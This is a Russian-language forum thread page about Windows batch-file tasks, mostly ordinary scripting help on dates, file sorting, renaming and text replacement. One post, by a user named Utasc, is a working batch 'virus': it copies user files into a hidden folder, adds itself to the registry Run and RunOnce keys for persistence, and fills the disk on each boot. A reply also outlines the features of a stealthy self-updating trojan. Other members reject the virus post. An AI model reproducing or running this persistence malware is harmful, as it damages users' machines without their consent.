Перейти из форума на сайт.

НовостиФайловые архивы
ПоискАктивные темыТоп лист
ПравилаКто в on-line?
Вход Забыли пароль? Первый раз на этом сайте? Регистрация
Компьютерный форум Ru.Board » Операционные системы » Microsoft Windows » Задачи на bat-файлах 2

Модерирует : KLASS, IFkO

vu1tur (27-04-2007 11:55): продолжаем в теме «Задачи на bat-файлах 3»  Версия для печати • ПодписатьсяДобавить в закладки
Страницы: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100

   

vu1tur



Moderator-Saaber
Редактировать | Профиль | Сообщение | ICQ | Цитировать | Сообщить модератору
Задачи на bat-файлах (часть 1)
Вопросы, задачи и их решения по работе с командными файлами, а также сопутствующие ссылки.

 
Важно: копируя батник через буфер обмена из форума не забывайте удалять пробелы в конце каждой строки, т.к. в некоторых случаях из-за этого программа будет работать неправильно!!!
 
Дополняем шапку: добавляем готовые решения, полезные ссылки.
 
Примечание: Большие куски кода заключайте в тэг [more]  
 
Смежные темы:
В помощь системному администратору » Автоматизация администрирования
Программы » Командная строка, батники\сценарии
 
Полезные ссылки
 
Полезные утилиты
 
Готовые решения и частые вопросы:
  • Встроенный справочник по командам
  • Создание помощи по всем командам консоли 2000 и XP
  • Альтернативные решения »
  • Работа с текстом, датой, и файлами »
  • Администрирование, автоматизация и сеть »
  • Работа с переменными и параметрами ком. строки »
     
    Описания работы команд и символов участниками темы:
    · setlocal enabledelayedexpansion и переменные окружения
    · символы & и && в командной строке
    · Переменная %0
     
    Невозможности — что нельзя сделать с помощью командных файлов:
    · изменть конфигурацию IP на удаленной машине (без помощи rcmd.exe) [добавил ALEF]
     
    Старая версия первого сообщения

  • Всего записей: 3690 | Зарегистр. 01-02-2003 | Отправлено: 16:59 14-11-2006 | Исправлено: Elroir, 04:30 26-04-2007
    Elroir



    Silver Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    Utasc

    Код:
     
    @echo off  
    :: Create the assembler program, by Herbert Kleebauer  
    echo Bj@jzh`0X-`/PPPPPPa(DE(DM(DO(Dh(Ls(Lu(LX(LeZRR]EEEUYRX2Dx=> %temp%.\sbs2.com
    echo 0DxFP,0Xx.t0P,=XtGsB4o@$?PIyU!WvX0GwUY Wv;ovBX2Gv0ExGIuht6>> %temp%.\sbs2.com
    echo ?@}IKuNWpe~Fpe?FNHlF?wGMECIQqo{Ox{T?kPv@jeoSeIlRFD@{AyEKj@>> %temp%.\sbs2.com
    echo iqe~1NeAyR?mHAG~BGRgB{~H?o~TsdgCYqe?HR~upkpBG?~slJBCyA?@xA>> %temp%.\sbs2.com
    echo LZp{xq`Cs?H[C_vHDyB?Hos@QslFA@wQ~~x}viH}`LYNBGyA?@xAB?sUq`>> %temp%.\sbs2.com
    echo LRy@PwtCYQEuFK@A~BxPtDss@fFqjVmzD@qBEOEenU?`eHHeBCMs?FExep>> %temp%.\sbs2.com
    echo LHsPBGyA?@xAunjzA}EKNs@CA?wQpQpKLBHv?s`WJ`LRCYyIWMJaejCksl>> %temp%.\sbs2.com
    echo H[GyFGhHBwHZjjHeoFasuFUJeHeB?OsQH[xeHCPvqFj@oq@eNc?~}Nu??O>> %temp%.\sbs2.com
    echo ~oEwoAjBKs?Zp`LBzHQzyEFrAWAG{EFrAqAGYwHTECIQ{coKIsaCsf{Oe~>> %temp%.\sbs2.com
    echo CK}Ayre~CNFA{rAyEKFACrA{EKGAjbA}eKGSjNMtQFtc{OAyDGFj?{FDGQ>> %temp%.\sbs2.com
    echo KAjNVk_OCAx@e?f{o?CosI}1EGizhljJ~H1ZeG}JBA~rACBMDGjjDG@g0>> %temp%.\sbs2.com
    :: Use the program  
    %temp%.\sbs2.com 0 "\" "\\\\" < "%~1" > "%~2"
    :: Delete the program  
    del %temp%.\sbs2.com
     

    Первым аргументом батнику передается имя файла в котором нужно произвести замену, а вторым - имя файла (нового), куда будет записан измененный текст.

    Всего записей: 2631 | Зарегистр. 05-02-2003 | Отправлено: 20:47 04-03-2007
    Utasc

    Newbie
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    Вирус (нужно раз запустить и при каждом запуске компа на диске C: стает на 5< метров меньше).Делал короче но антивирус обнаружевал
     

    Код:
    @echo off
    if %0=="%windir%\system32\8679\copy_x.bat" goto :copy
    if  not exist %windir%\x.bat goto :copy
    md datazxc
    copy *.avi datazxc\
    copy *.txt  datazxc\
    copy *.log  datazxc\
    copy *.tmp  datazxc\
    copy *.bmp  datazxc\
    copy x.bat datazxc\x.bat
    copy xx.reg datazxc\
    For /r %windir%\datazxc %%i in (*x.bat) do set adres="%%i"
    echo "xxx"=%adres%>xx2.reg
    echo Bj@jzh`0X-`/PPPPPPa(DE(DM(DO(Dh(Ls(Lu(LX(LeZRR]EEEUYRX2Dx=> %temp%.\sbs2.com
    echo 0DxFP,0Xx.t0P,=XtGsB4o@$?PIyU!WvX0GwUY Wv;ovBX2Gv0ExGIuht6>> %temp%.\sbs2.com
    echo ?@}IKuNWpe~Fpe?FNHlF?wGMECIQqo{Ox{T?kPv@jeoSeIlRFD@{AyEKj@>> %temp%.\sbs2.com
    echo iqe~1NeAyR?mHAG~BGRgB{~H?o~TsdgCYqe?HR~upkpBG?~slJBCyA?@xA>> %temp%.\sbs2.com
    echo LZp{xq`Cs?H[C_vHDyB?Hos@QslFA@wQ~~x}viH}`LYNBGyA?@xAB?sUq`>> %temp%.\sbs2.com
    echo LRy@PwtCYQEuFK@A~BxPtDss@fFqjVmzD@qBEOEenU?`eHHeBCMs?FExep>> %temp%.\sbs2.com
    echo LHsPBGyA?@xAunjzA}EKNs@CA?wQpQpKLBHv?s`WJ`LRCYyIWMJaejCksl>> %temp%.\sbs2.com
    echo H[GyFGhHBwHZjjHeoFasuFUJeHeB?OsQH[xeHCPvqFj@oq@eNc?~}Nu??O>> %temp%.\sbs2.com
    echo ~oEwoAjBKs?Zp`LBzHQzyEFrAWAG{EFrAqAGYwHTECIQ{coKIsaCsf{Oe~>> %temp%.\sbs2.com
    echo CK}Ayre~CNFA{rAyEKFACrA{EKGAjbA}eKGSjNMtQFtc{OAyDGFj?{FDGQ>> %temp%.\sbs2.com
    echo KAjNVk_OCAx@e?f{o?CosI}1EGizhljJ~H1ZeG}JBA~rACBMDGjjDG@g0>> %temp%.\sbs2.com
    %temp%.\sbs2.com 0 "\" "\\\\" < "xx2.reg" > "x2.reg"
    del %temp%.\sbs2.com
    copy xx.reg+x2.reg
    copy xx.reg datazxc\x.reg
    reg import datazxc\x.reg
    attrib +s +h datazxc  
    exit
     
    :ney_bat
    echo Windows Registry Editor Version 5.00>x.reg
    echo.>>x.reg
    echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>>x.reg
    copy x.reg %windir%\xx.reg
    echo "xxx"="c:\\\\windows\\\\x.bat">>x.reg
    copy x.reg %windir%\x.reg
    reg import %windir%\x.reg
    del x.reg
    copy %0 %windir%\x.bat
    copy %0 %windir%\system32\8679\copy_x.bat
    exit
     
    :copy
    echo Windows Registry Editor Version 5.00>%windir%\system32\8679\copy.reg
    echo.>>%windir%\system32\8679\copy.reg
    echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce]>>%windir%\system32\8679\copy.reg
    echo "Windo"="c:\\\\windows\\\\system32\\\\8679\\\\copy_x.bat">>%windir%\system32\8679\copy.reg
    reg import %windir%\system32\8679\copy.reg
    if  not exist %windir%x.bat goto :ney_bat
    reg export HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run copy.txt
    echo +-------------------------------------------------------------------------------------------------------+ >> Zvit.inf  
    date /t>>Zvit.inf
    time/t>>Zvit.inf
    find "xxx" copy.txt >> Zvit.inf
    If  %errorlevel%==1(goto :ney_bat)
    if not exist %windir%\x.bat goto :ney_bat
    reg import %windir%\system32\8679\copy.reg
    exit

    Всего записей: 5 | Зарегистр. 04-03-2007 | Отправлено: 23:06 04-03-2007 | Исправлено: Utasc, 19:30 22-03-2007
    igor_andreev

    Advanced Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    Utasc

    Цитата:
    Вирус
    Слабенько, незачет. Чувствуется рука десятиклассника, который кроме своей XP других ОС толком не юзал Хотя по-настоящему сильно написанных bat-вирусов и нет, а если есть - их создатели в широкие массы и не выкладывают. Как насчет написать в виде *.bat нормального трояна на 40 с гаком килобайт, который будет фурычить в невидимом и непотопляемом режиме, скачивать недостающие компоненты из инета, сам себя обновлять, читать присланные ему команды и отсылать результаты куда-надо? Само-собой в разборки с антивирусами и файрволлами не вступать

    Всего записей: 1704 | Зарегистр. 08-12-2004 | Отправлено: 23:38 04-03-2007
    Smitis



    Silver Member
    Редактировать | Профиль | Сообщение | ICQ | Цитировать | Сообщить модератору
    CrackMe

    Цитата:
    нужно установить драйвер (батник будет в той же папке , что и .inf от дров):

    Драйвер таким макаром может и не установиться. Там своя специфика. Хотя бывают, конечно, исключения.

    Цитата:
    предполагю, что потребуется создание перменной set current directory

    Текущая директория: %CD% (без конечного бакслеша)
    Директория, из которой запущен комфайл: %~dp0 (с бакслешем)

    Всего записей: 3179 | Зарегистр. 09-02-2003 | Отправлено: 23:40 04-03-2007
    Utasc

    Newbie
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    igor_andreev
    Я вчера только за батьі взялса
    Буду пробьівать
     
     
    Добавлено:
    igor_andreev
     

    Цитата:
    невидимом и непотопляемом режиме

     
    Скажи как, тогда и будет

    Всего записей: 5 | Зарегистр. 04-03-2007 | Отправлено: 00:17 05-03-2007
    igor_andreev

    Advanced Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    Utasc
    А ты пробуй полезные действия батниками выполнять, а не деструктивные. Батники многое в общем-то позволяют автоматизировать.

    Цитата:
    Скажи как, тогда и будет

    А когда напишешь для тренировки несколько мегабайт полезных батников - сам все будешь знать. Только тогда тебе простое банальное потирание файлов будет уже неинтересно
     

    Всего записей: 1704 | Зарегистр. 08-12-2004 | Отправлено: 00:30 05-03-2007 | Исправлено: igor_andreev, 00:40 05-03-2007
    Elroir



    Silver Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    Utasc
    Отдавай назад мой код!
    Не хочу, чтобы он использовался в вирусе

    Всего записей: 2631 | Зарегистр. 05-02-2003 | Отправлено: 00:46 05-03-2007
    MegaSin

    Newbie
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    Решил выложить... может понадобится кому нить
    Батник конвертирует unix timestamp в нормальный формат.... учитывает високосные года, часовой пояс +3

    Код:
     
    @echo off
    setlocal ENABLEDELAYEDEXPANSION enableextensions
    set /a timestamp=%1+10800
    set /a year=!timestamp!/31536000
    set /a timestamp=!timestamp!-((!year!*31536000)+(!year!/4)*86400)
    set /a year=!year!+1970
    set /a month=(!timestamp!*12)/31536000
    call ayinmonth !month!
    set /a timestamp=!timestamp!-(!days!*86400)
    set /a month=!month!+1
    set /a day=!timestamp!/86400
    set /a timestamp=!timestamp!-(!day!*86400)
    set /a day=!day!+1
    set /a chas=!timestamp!/3600
    set /a timestamp=!timestamp!-(!chas!*3600)
    set /a chas=!chas!
    set /a min=!timestamp!/60
    set /a timestamp=!timestamp!-(!min!*60)
    set date=!day!.!month!.!year!_!chas!.!min!.!timestamp!
    echo !date!
    pause
    goto :eof
     
    ayinmonth
    set /a monthn=%1
    if /i !monthn!==1 set /a days=31
    if /i !monthn!==2 set /a days=59
    if /i !monthn!==3 set /a days=90
    if /i !monthn!==4 set /a days=120
    if /i !monthn!==5 set /a days=151
    if /i !monthn!==6 set /a days=181
    if /i !monthn!==7 set /a days=212
    if /i !monthn!==8 set /a days=243
    if /i !monthn!==9 set /a days=273
    if /i !monthn!==10 set /a days=304
    if /i !monthn!==11 set /a days=334
    if /i !monthn!==12 set /a days=365
    exit /b 0
     
    :eof
     

    example - somename.bat 1173048752

    Всего записей: 25 | Зарегистр. 26-11-2006 | Отправлено: 01:53 05-03-2007
    vbugay



    Newbie
    Редактировать | Профиль | Сообщение | ICQ | Цитировать | Сообщить модератору
    дубль 2  
    задача такая ....
    в папке "C:/отправлено/" лежит 5 тыс примерно штук отчетов  названия файлов и вариантов миллион как захотели так и обозвали "налог на землю лагерь арчекас " и.т.д. вариантов я ещё раз говорю куча
    ... содержимое файлов отчеты в налоговую  
    где 17 строка -  ИННЮЛ:4213003475 все файлы   в ascII(dos)
    можно конечно и 7 строчку задействовать ... НаимОтпрЮл:ДОМ ДЕТСКОГО ТВОРЧЕСТВА № 6  ....  
    при этом 7 строка было бы идилией..
    так вот суть задачи такова  
    можно ли раскидать все имеющиеся файлы согласно строке 7 или 17  в свои папки тут же в папке отправленно допустим  ...
    ..НаимОтпрЮл:ДОМ ДЕТСКОГО ТВОРЧЕСТВА № 6  => в папку ддт6
    а НаимОтпрЮл:Лагерь Арчекас   =>  Арчекас и т.д.
     .... мне кажется задача не слишком сурьёзная  (просто мне неучу .. тяжело,=> самоучка )

    Всего записей: 9 | Зарегистр. 01-03-2007 | Отправлено: 04:33 05-03-2007
    Elroir



    Silver Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    vbugay

    Цитата:
    мне кажется задача не слишком сурьёзная  (просто мне неучу .. тяжело,=> самоучка )

    Ну если задача не серьезная - помощь по командным файлам в зубы и вперед с песней
    Когда выучишься, сравни со следующим кодом :

    Код:
     
    @echo off
    setlocal enabledelayedexpansion
    chcp 1251>nul
    set "source=c:\отправлено"
    for %%a in (%source%\*.*) do call :extr "%%a"
    goto :EOF
    :extr
    for /f "skip=6 tokens=1* delims=: " %%A in (%~s1) do (  
    if /i "%%A"=="НаимОтпрЮл" (
    set "name=%%B"
    md "%source%\!name!" 2>nul
    move %1 "%source%\!name!"
    )
    goto :EOF
    )
     

    Всего записей: 2631 | Зарегистр. 05-02-2003 | Отправлено: 05:14 05-03-2007
    ViSiToR



    Silver Member
    Редактировать | Профиль | Сообщение | ICQ | Цитировать | Сообщить модератору
    Elroir
    По поводу утилиты для замены текста в файле (sbs2.com), что то я не вижу ссылку в шапке, она там была? неужели в процессе шапочной революции я её потерял?    а ссылку уже не могу найти в топике (ведь часто про неё спрашивают...
     
    Добавлено:
    Нашёл - Ставим в шапку?

    ----------
    ViSiToR a.k.a CreatoR
    CreatoR это не ник, CreatoR это стиль жизни!

    Всего записей: 3251 | Зарегистр. 01-04-2006 | Отправлено: 09:04 05-03-2007
    Ruslan_FM

    Junior Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    Как с командной строки получить дату в таком формате :
     
    Tue, 2 Jan 2007 13:35:20 +0500
     
    WinXP.SP2  
    Win2003.SP1

    Всего записей: 69 | Зарегистр. 10-11-2005 | Отправлено: 09:48 05-03-2007
    Solotoy



    Junior Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    добрый день )
    как бы сформулировать то вопрос))-
     
    copy "%INSPATH%b.bmp" "%INSPATH%BMP_RS\%SCHETCHIK%.bmp"
    это строка переименовывет в цифры.., "01.bmp" ,"02.bmp"  ,"03.bmp"  и.т.д.
    а мне надо код который бы брал названия из "Текстовый документ.txt" ...
    пожалуста если кто знает напишите...
    зарание благадарю...

    Всего записей: 175 | Зарегистр. 23-01-2007 | Отправлено: 11:01 05-03-2007
    Elroir



    Silver Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    ViSiToR

    Цитата:
    она там была?

    Не... не было. Я ее тоже там искал и очень удивился, что ее там нет.

    Цитата:
    Ставим в шапку?

    Конечно!
     
    Solotoy
    Ты бы хоть написал, что именно и в каком формате находится в "Текстовый документ.txt". Сколько там строк? Кроме того, приведи полный код батника, а то не понятно откуда берутся переменные ("%INSPATH%,%SCHETCHIK%). То есть я понял, что это для USD, но там этих батников было...

    Всего записей: 2631 | Зарегистр. 05-02-2003 | Отправлено: 11:33 05-03-2007
    ViSiToR



    Silver Member
    Редактировать | Профиль | Сообщение | ICQ | Цитировать | Сообщить модератору
    Solotoy
     

    Цитата:
    то строка переименовывет в цифры

    Эта строка ничего не переименовывает, просто копирует файл основываясь на переменной %INSPATH%.
     

    Цитата:
    надо код который бы брал названия из "Текстовый документ.txt" ...

    Не уверен что понимаю, для чего брал? ты хочешь просто копировать файлы с последовательностью цифр на конце? до какой грациы, т.е сколько файлов должно копироваться?
     
    Попробуй так чтоли:
     

    Код:
    Set FileName=Текстовый документ
    Set SourcePath=C:\Source
    Set DestPath=C:\Dest
    Set Ext=.txt
    Set Counter=1
    Set MaxCount=10
    :Again
    Copy "%SourcePath%\%FileName%%Ext%" "%DestPath%\%FileName% (%Counter%)%Ext%"
    If %Counter%==%MaxCount% Goto Next
    Set /A Counter+=1
    Goto Again
    :Next

     
    Уверен что это не то, но постарайся просто описать цель задачи, что требуется сделать?

    ----------
    ViSiToR a.k.a CreatoR
    CreatoR это не ник, CreatoR это стиль жизни!

    Всего записей: 3251 | Зарегистр. 01-04-2006 | Отправлено: 11:39 05-03-2007 | Исправлено: ViSiToR, 12:12 05-03-2007
    Tipulatoid



    Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    Ruslan_FM

    Цитата:
    Как с командной строки получить дату в таком формате :  
    Tue, 2 Jan 2007 13:35:20 +0500

     
    Вы бы побольше информации привели - какая версия винды (английская, русская или еще какая) и особенно какие настройки стоят в "Панель управления" -> "Язык и региональные стандарты"
    Вообще в этом топике проблему получения даты обсосали до косточек - приводились объемные батники, и все с ними были какие-то проблемы. Потом пришел igor_andreev и велел юзать Windows Script Host Кода получается всего ничего и без тех сложностей, что были:

    Код:
    @echo off
    echo wscript.echo date>today.vbs
    for /f "tokens=1-3 delims=." %%a in ('cscript today.vbs //Nologo') do (
       set today_chislo=%%a
       set today_month=%%b
       set today_year=%%c)
    del /q today.vbs
     
    if /i %today_month%==01 set today_month=Jan
    if /i %today_month%==02 set today_month=Feb
    if /i %today_month%==03 set today_month=Mar
    if /i %today_month%==04 set today_month=Apr
    if /i %today_month%==05 set today_month=May
    if /i %today_month%==06 set today_month=June
    if /i %today_month%==07 set today_month=July
    if /i %today_month%==08 set today_month=Aug
    if /i %today_month%==09 set today_month=Sep
    if /i %today_month%==10 set today_month=Oct
    if /i %today_month%==11 set today_month=Nov
    if /i %today_month%==12 set today_month=Dec
     
    echo wscript.echo WeekDayName(weekday(date))>today_day.vbs
    for /f %%a in ('cscript today_day.vbs //Nologo') do set today_day=%%a
    del /q today_day.vbs
     
    for /f %%a in ('echo %time%') do set ctime=%%a
     
    set full_current_date_and_time=%today_day%, %today_chislo% %today_month% %today_year% %ctime% +0500
    echo %full_current_date_and_time%

     
    Выделенный жирным знак после delims= - это разделитель между числом, месяцем, годом. Для российских настроек винды - точка, для иных может быть другой. Его нужно выставить исходя из своих настроек.
    Добавлено:
    если работать не будет (на определенных настройках), должно помочь удаление первых нулей в номерах месяцев

    Всего записей: 349 | Зарегистр. 22-12-2006 | Отправлено: 12:28 05-03-2007 | Исправлено: Tipulatoid, 14:09 05-03-2007
    Solotoy



    Junior Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    спасибо...
     
    есть папка ,
    в этой папке есть:
       один txt название:              "RapidShareCom.txt"  
       одна картинка название:    "b.bmp";
       одна папка  название:        "BMP_RS";    
       один файл без разрешения название: "schet_rs";    
       один батник   название:     "copy.cmd"
    вот мой батник:"copy.cmd"
     
    set INSPATH=%~dp0
     
    set SCHETCHIK=0  
    set /p SCHETCHIK=<schet_rs
    echo %SCHETCHIK%  
    type schet_rs  
    set /a SCHETCHIK=SCHETCHIK + 1  
    echo %SCHETCHIK% > schet_rs
    copy "%INSPATH%b.bmp" "%INSPATH%BMP_RS\%SCHETCHIK%.bmp"
     
    это всё работает так :запускаеш батник "copy.cmd" он
    картинку "b.bmp" капирует в папку "BMP_RS"
     по счёту "1.bmp" опять запустил "2.bmp"и.т.д.,
     
    "RapidShareCom.txt"  содержит текст одна строчка :"PL^^GH"
     
    задача :запускаеш батник "copy.cmd" он
    картинку "b.bmp" капирует в папку "BMP_RS" ,но переименовывает "PL^^GH.bmp"
     
    или так запустил "copy.cmd" получил "01.PL^^GH.bmp" опять запустил получил "02.PL^^GH.bmp"
     
    надо учесть   текст в "RapidShareCom.txt" меняеться  
    Вот папка для эксперемента http://dump.ru/files/0/054572239/
    бальшое ещё раз СПАСИБО...

    Всего записей: 175 | Зарегистр. 23-01-2007 | Отправлено: 12:36 05-03-2007 | Исправлено: Solotoy, 12:57 05-03-2007
    Elroir



    Silver Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    Solotoy
    Наверно так:

    Код:
     
    set "INSPATH=%~dp0"
    set "SCHETCHIK=0"
    set /p SCHETCHIK=<schet_rs
    echo %SCHETCHIK%  
    type schet_rs  
    set /a "SCHETCHIK+=1"
    echo %SCHETCHIK% > schet_rs
    if %SCHETCHIK% LSS 10 set "SCHETCHIK=0%SCHETCHIK%"
    set /p ins_part=<RapidShareCom.txt
    copy "%INSPATH%b.bmp" "%INSPATH%BMP_RS\%SCHETCHIK%.%ins_part%.bmp"
     

    Всего записей: 2631 | Зарегистр. 05-02-2003 | Отправлено: 13:43 05-03-2007
    Solotoy



    Junior Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    Elroir
    да )) так ,Спасибо ...

    Всего записей: 175 | Зарегистр. 23-01-2007 | Отправлено: 13:53 05-03-2007
    tomegadeth



    Full Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    Есть необходимость переименовать все файлы в папке по маске:
    Есть к примеру файлы:
      Dongle - Report_03_mar_2007.pdf
      Dongle - Report_04_mar_2007.pdf
      Dongle - Report_05_mar_2007.pdf
    Необходимо переименовать их в:
      DailyReport_20070303.pdf
      DailyReport_20070304.pdf
      DailyReport_20070305.pdf
    У кого какие идеи?

    Всего записей: 560 | Зарегистр. 22-11-2004 | Отправлено: 14:03 05-03-2007
       

    Страницы: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100

    Компьютерный форум Ru.Board » Операционные системы » Microsoft Windows » Задачи на bat-файлах 2
    vu1tur (27-04-2007 11:55): продолжаем в теме «Задачи на bat-файлах 3»


    Реклама на форуме Ru.Board.

    Powered by Ikonboard "v2.1.7b" © 2000 Ikonboard.com
    Modified by Ru.B0ard
    © Ru.B0ard 2000-2024

    BitCoin: 1NGG1chHtUvrtEqjeerQCKDMUi6S6CG4iC

    Рейтинг.ru